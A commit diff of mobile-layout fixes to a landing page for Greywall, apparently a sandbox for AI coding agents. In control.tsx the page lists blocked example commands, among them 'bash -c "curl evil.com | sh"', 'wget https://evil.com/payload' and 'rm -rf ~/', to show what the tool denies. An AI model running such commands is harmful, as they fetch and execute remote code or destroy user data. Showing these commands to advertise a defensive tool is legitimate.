monadical/greywall-landing-page
13
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fix: mobile view+minor changes

Browse Source
This commit is contained in:
Nik L
2026-03-09 14:20:30 -04:00
parent 585d7c35df
commit 84b16955d7
8 changed files with 94 additions and 111 deletions
Download Patch File Download Diff File Expand all files Collapse all files

9
app/globals.css
View File

@@ -181,3 +181,12 @@ section {
.stagger-children > *:nth-child(3) { animation-delay: 0.3s; }
.stagger-children > *:nth-child(4) { animation-delay: 0.4s; }
.stagger-children > *:nth-child(5) { animation-delay: 0.5s; }
/* Hide scrollbar but keep scroll functionality */
.scrollbar-hide {
-ms-overflow-style: none;
scrollbar-width: none;
}
.scrollbar-hide::-webkit-scrollbar {
display: none;
}

4
components/agents.tsx
View File

@@ -33,14 +33,14 @@ export function Agents() {
</p>
</div>
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3">
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-2 sm:gap-3">
{agents.map((agent) => (
<a
key={agent.name}
href={agent.url}
target="_blank"
rel="noopener noreferrer"
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
className="group flex items-center gap-2.5 sm:gap-3 p-3 sm:p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
>
<img
src={`https://github.com/${agent.org}.png?size=64`}

58
components/comparison.tsx
View File

@@ -167,24 +167,24 @@ export function Comparison() {
</p>
</div>
{/* Desktop table */}
<div className="hidden md:block rounded-lg border border-border/40 overflow-hidden">
<table className="w-full text-sm">
{/* Table — scrollable on mobile */}
<div className="rounded-lg border border-border/40 overflow-x-auto scrollbar-hide">
<table className="w-full text-sm min-w-[540px]">
<thead>
<tr className="border-b border-border/40 bg-card/40">
<th className="text-left py-3.5 px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
<th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Feature
</th>
<th className="text-center py-3.5 px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
Greywall
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Safehouse
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Claude Sandbox
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Claude
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Containers
</th>
</tr>
@@ -195,25 +195,25 @@ export function Comparison() {
key={row.feature}
className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`}
>
<td className="py-3 px-4 font-serif text-sm text-foreground">
<td className="py-2.5 sm:py-3 px-3 sm:px-4 font-serif text-sm text-foreground whitespace-nowrap">
{row.feature}
</td>
<td className="py-3 px-3 text-center">
<td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.greywall} />
</div>
</td>
<td className="py-3 px-3 text-center">
<td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.safehouse} />
</div>
</td>
<td className="py-3 px-3 text-center">
<td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.claudeSandbox} />
</div>
</td>
<td className="py-3 px-3 text-center">
<td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.containers} />
</div>
@@ -224,36 +224,6 @@ export function Comparison() {
</table>
</div>
{/* Mobile cards */}
<div className="md:hidden space-y-2">
{rows.map((row) => (
<div
key={row.feature}
className="p-4 rounded-lg border border-border/30 bg-card/20"
>
<div className="font-serif text-sm text-foreground mb-3">{row.feature}</div>
<div className="grid grid-cols-4 gap-1.5 text-center">
<div>
<div className="text-[10px] font-sans text-primary font-medium mb-1">Greywall</div>
<div className="flex justify-center"><CellIcon value={row.greywall} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Safehouse</div>
<div className="flex justify-center"><CellIcon value={row.safehouse} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Claude</div>
<div className="flex justify-center"><CellIcon value={row.claudeSandbox} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Containers</div>
<div className="flex justify-center"><CellIcon value={row.containers} /></div>
</div>
</div>
</div>
))}
</div>
{/* Legend */}
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
<div className="flex items-center gap-1.5">

96
components/control.tsx
View File

@@ -58,19 +58,19 @@ export function Control() {
<PlatformToggle />
</div>
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
{/* Directory tree visualization */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<FolderLock className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
</div>
<div className="space-y-1 font-mono text-sm">
<div className="space-y-1 font-mono text-xs sm:text-sm">
{tree.map((item, i) => (
<div key={i} className="flex items-center justify-between py-1">
<span className={textColor(item.color)}>{item.path}</span>
<div key={i} className="flex items-center justify-between py-1 gap-2">
<span className={`${textColor(item.color)} truncate min-w-0`}>{item.path}</span>
<span
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded shrink-0 ${badgeClasses(item.color)}`}
>
{accessLabels[item.access]}
</span>
@@ -84,7 +84,7 @@ export function Control() {
</div>
{/* Network isolation */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<Wifi className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
@@ -101,22 +101,22 @@ export function Control() {
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
</div>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">npm install lodash</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
<div className="flex items-center justify-between py-1.5">
<span className="text-greyhaven-offwhite">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
@@ -142,22 +142,22 @@ export function Control() {
</div>
</div>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px]">KERNEL DENY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
</div>
<div className="flex items-center justify-between py-1.5">
<span className="text-greyhaven-offwhite">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px]">PROXY DENY</span>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
@@ -169,35 +169,35 @@ export function Control() {
</div>
{/* Command blocking */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<Ban className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center gap-3">
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">git push origin main</span>
<span className="text-muted-foreground truncate">git push origin main</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">npm publish</span>
<span className="text-muted-foreground truncate">npm publish</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">rm -rf ~/</span>
<span className="text-muted-foreground truncate">rm -rf ~/</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">bash -c &quot;curl evil.com | sh&quot;</span>
<span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
</div>
<div className="mt-3 flex items-center gap-3">
<div className="mt-3 flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">git commit -m &quot;fix: types&quot;</span>
<span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">npm install lodash</span>
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-4">
@@ -206,7 +206,7 @@ export function Control() {
</div>
{/* Learning mode */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<GraduationCap className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>

12
components/getting-started.tsx
View File

@@ -75,17 +75,19 @@ export function GettingStarted() {
<div className="space-y-4 max-w-2xl">
{steps.map((step, i) => (
<div key={`${platform}-${i}`} className="flex items-center gap-4">
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold">
<div key={`${platform}-${i}`} className="flex items-start sm:items-center gap-3 sm:gap-4">
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold mt-3 sm:mt-0">
{i + 1}
</div>
<div className="flex-1 code-block p-3 flex items-center gap-3">
<span className="text-xs font-sans text-muted-foreground shrink-0 w-24">
<div className="flex-1 min-w-0 code-block p-3 flex items-center gap-3">
<span className="text-xs font-sans text-muted-foreground shrink-0 w-20 sm:w-24 hidden sm:block">
{step.label}
</span>
<code className="flex-1 font-mono text-sm text-greyhaven-offwhite truncate">
<div className="flex-1 min-w-0 overflow-x-auto scrollbar-hide">
<code className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-nowrap">
{step.cmd}
</code>
</div>
<button
onClick={() => copy(step.cmd, i)}
className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"

6
components/hero.tsx
View File

@@ -15,7 +15,7 @@ export function Hero() {
}
return (
<section className="relative pt-32 pb-24 px-6 overflow-hidden">
<section className="relative pt-24 sm:pt-32 pb-16 sm:pb-24 px-4 sm:px-6 overflow-hidden">
{/* Subtle background gradient */}
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
{/* Grid pattern */}
@@ -63,11 +63,13 @@ export function Hero() {
{/* Install command */}
<div className="mx-auto max-w-5xl">
<div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4">
<div className="code-block glow-orange px-4 sm:px-5 py-3.5 flex items-center justify-between gap-3">
<div className="overflow-x-auto min-w-0 flex-1 scrollbar-hide">
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
<span className="text-muted-foreground">$ </span>
{installCmd}
</code>
</div>
<button
onClick={copyInstall}
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"

2
components/layers.tsx
View File

@@ -110,7 +110,7 @@ export function Layers() {
{layers.map((layer) => (
<div
key={layer.name}
className="layer-card group flex items-start gap-5 p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
>
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
<layer.icon className="h-5 w-5" />

6
components/platform-toggle.tsx
View File

@@ -34,10 +34,10 @@ export function PlatformToggle() {
const [platform, setPlatform] = usePlatform()
return (
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5">
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5 shrink-0 self-start">
<button
onClick={() => setPlatform('linux')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'linux'
? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground'
@@ -47,7 +47,7 @@ export function PlatformToggle() {
</button>
<button
onClick={() => setPlatform('macos')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'macos'
? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground'